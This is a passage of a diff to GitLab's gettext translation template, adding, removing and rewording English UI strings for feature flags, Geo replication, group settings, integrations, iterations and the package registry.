-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,13 +15793,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
